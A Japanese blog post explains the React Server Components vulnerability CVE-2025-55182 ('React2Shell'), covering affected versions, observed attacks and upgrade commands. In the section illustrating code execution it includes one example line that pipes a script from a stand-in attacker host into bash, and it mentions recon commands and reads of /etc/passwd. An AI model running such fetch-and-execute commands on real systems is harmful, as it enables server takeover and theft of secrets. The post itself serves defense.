Main Logo
hero-background.jpg

React Server Componentsの重大な脆弱性「CVE-2025-55182」(React2Shell)まじでやばかった

CVSSスコア10.0の脆弱性「CVE-2025-55182」(React2Shell)を調べたら本当に危険なことが分かりバージョンアップ推奨の意味が分かった

CVSSスコア10.0の脆弱性「CVE-2025-55182」が12月3日に発表された、とりあえずアップグレードしたので、詳細を確認したら。本当にヤバいやつだった。


React2Shellとは

2025年12月3日、ReactチームはReact Server Components(RSC)にCVSS 10.0(最高評価)の重大な脆弱性「CVE-2025-55182」が存在することを公表し、別名React2Shellとして緊急パッチを配布しました。

CVSSスコア10.0が示す深刻度
  • 認証不要で攻撃開始(unauthenticated)。
  • ネットワーク越しに一発で到達可能(remote)。
  • サーバー上で任意コード実行(RCE)まで到達。

一度侵入されると、サーバー内の認証情報やデータ、クラウド権限まで一気に奪われるリスクがあります。

とりあえずバージョンアップ

対象外かな?と思っていても非常に危険なのでとりあえずバージョンアップしてください。
npm auditをしたり、各公式ページで手順に従ってバージョンアップしてください。

公表の背景

Next.jsやRemixなど、RSCを利用する主要フレームワークはほぼすべて影響を受け、特にNext.js App Routerでは影響範囲が広大です。Reactチームと各ベンダーは同日中に修正バージョンを公開したものの、脆弱なバージョンは依然多くデプロイされています。

何がそんな危険なのか

誰でも再現できる攻撃手順

Server Actions/Functionsを公開しているだけでターゲットになり、攻撃者は正規のReactアプリを経由せずHTTPクライアント一つで攻撃可能です。ログイン情報もAPIキーも不要で、公開エンドポイントにPOSTできれば準備完了という手軽さが最大の脅威です。

任意コード実行のイメージ

攻撃側はNode.jsのAPIを直に呼び出せるため、以下のようなコマンドを実行できます。

require('child_process').exec(
  'curl https://attacker.tld/payload.sh | bash'
);

この1行でバックドア設置、機密ファイル送信、さらなる横展開が可能になります。

成功したRCE攻撃では、次のような行為が観測されています。

  1. サーバー環境の完全制御
    サーバープロセス権限でリモートアクセスを獲得し、任意のサービス起動・停止や追加マルウェアの展開ができてしまう。
  2. ファイルシステムへのアクセス
    ファイルシステムにフルアクセスでき、設定ファイルやアプリのソース、秘密情報の読み書き、バックドアの設置が可能です。
  3. 侵害直後の偵察
    実際に12月5日には whoamiiduname -aなどを実行して権限レベルやOS情報を即座に把握し、次の攻撃手順を選定する動きが確認されています。

侵害が拡大しやすい理由

  • Node.jsの権限: Webサーバープロセスが保持する環境変数やクラウド資格情報をそのまま奪われる。
  • Secretsの再利用: ReactアプリはDBや外部APIキーを保持しがちで、これらが盗まれるとサービス全体が連鎖的に侵害される。envファイル等シークレットキーが奪われます。
  • RSCの抽象化: 「コンポーネントを呼ぶだけ」の感覚でServer Actionsが作成できるので、APIであることを忘れやすく(APIであることだと思わず)、認証・レート制限を付け忘れやすい。

影響を受ける環境とバージョン

サーバー側でReactを実行し、RSCを有効化しているアプリが対象です。Next.jsはApp Routerを有効にしているだけで影響範囲に入り、RemixやAstroなどRSC採用フレームワークも危険です。
React Routerとか結構使っていませんか?
vite RSCとかも知らずに使っていませんか?
Remixも一時期は流行っていたので使っている人も多いはず

ソフトウェア脆弱性のあるバージョン修正済みバージョン
React関連パッケージ (react-server-dom-webpack/parcel/turbopack)v19.0, 19.1.0, 19.1.1, 19.2.019.0.1 / 19.1.2 / 19.2.1 以降
Next.js (App Router)v15.x, v16.x, v14.3.0-canary.77以降15.0.5 / 15.1.9 / 15.2.6 / 16.0.7 など
その他のフレームワークRSCをサポートする任意のバージョン各ベンダーが配布している最新版

代表的なフレームワーク別の影響条件

フレームワーク/ツール影響を受ける条件/バージョン
Next.jsApp Routerを利用しているプロジェクト全般。特に v15.x、v16.x、v14.3.0-canary.77以降のcanary版はRSCが標準化されているため危険。
React RouterunstableなRSC APIを取り込んでいる場合に影響。
WakuRSC実装をバンドルしているため影響を受ける。
Redwood SDK (rwsdk)RSC実装をバンドルしているため影響を受ける。
Expo実験的なRSC/Server Functionsサポートを有効化したExpoアプリは脆弱。
@vitejs/plugin-rscViteでRSCプラグインを利用していると影響を受ける。
@parcel/rscParcelでRSCプラグインを利用していると影響を受ける。

今回の脆弱性の対象外

対象外かどうかを確認するよりとりあえずバージョンアップをした方が良いが以下のようにサーバー処理を実装していない場合は大丈夫らしい。

影響を受けにくいケース
  • 完全にクライアントサイドのみで動くSPA
  • Next.jsのPages Routerのみを使用するプロジェクト
  • Next.js 14系の安定版(14.3.0-canary.77より前)
  • Edge Runtime上にあるアプリ(Node.js固有APIにアクセスできずRCEが成立しない)

実際の攻撃観測と被害の兆候

脆弱性公開直後からスキャンが急増し、CISAは12月5日付で既知の悪用脆弱性リストに追加しました。日本国内でもIPAや各クラウドベンダーが注意喚起しており、以下の挙動が観測されています。

  • 偵察活動whoamiidで権限調査、uname -aでOSチェック。
  • 認証情報窃取/etc/passwdやクラウドIMDSへのアクセスを通じ、APIキーやメタデータトークンを入手。
  • マルウェア展開:XMRigなどのマイナー、Cobalt Strike・Sliver・Nezha・Noodle RATといったバックドアの設置。
  • 脅威アクター:クラウド各社は、Earth LamiaやJackpot Pandaなど国家支援型と思われるグループも悪用していると分析。

緊急対応ステップ

設定で完全に無効化する方法はないため、アップグレードが唯一の恒久対策です。

最優先:依存パッケージを更新

React本体だけでなく、以下のパッケージを必ず修正済みバージョンへ引き上げてください。

# ReactおよびReact-DOMを更新
npm install react@latest react-dom@19.2.1

# RSC関連パッケージをピン留め
npm install \
  react-server-dom-webpack@19.2.1 \
  react-server-dom-parcel@19.2.1 \
  react-server-dom-turbopack@19.2.1

# Next.jsを利用している場合
npm install next@16.0.7

予防的なセキュリティ対策

バージョンアップできない場合の応急処置等もあるが...

  • WAFの導入/強化: Flightペイロードの特徴を基に一時的な防御を入れる。完全防御ではない前提で運用。
  • 秘密情報のローテーション: 攻撃者に触れられた可能性があるAPIキーやDB認証情報をすべて更新。
  • 侵害調査: wget/curlの不審な実行履歴、暗号マイナーやバックドアの残骸をログとファイルシステムから確認。
設計上の推奨事項
  • DAL (Data Access Layer) の導入: データアクセス用の層を切り出し、DTOでクライアントに渡すデータを明示的に制限する。
  • Server Actionsに認証・入力検証を追加: REST APIと同じレベルでCSRF/入力バリデーション/権限制御を実装する。
  • Node.js権限の最小化: RCEされても横展開できないよう、実行ユーザーやファイルアクセス権を細かく制御する。

まとめ

RSCを有効にしたサーバーは、認証なしで任意コード実行を許してしまう状態にありました。Server Actionsを公開している限り、脆弱なまま放置しておくと気づかない内にサーバー情報、シークレットキーが全部抜かれ、マルウェアを仕込まれる可能性があるようなので、一旦React/Next.jsと関連パッケージを今すぐアップデートすることを推奨します。

関連記事

コメントを読み込み中...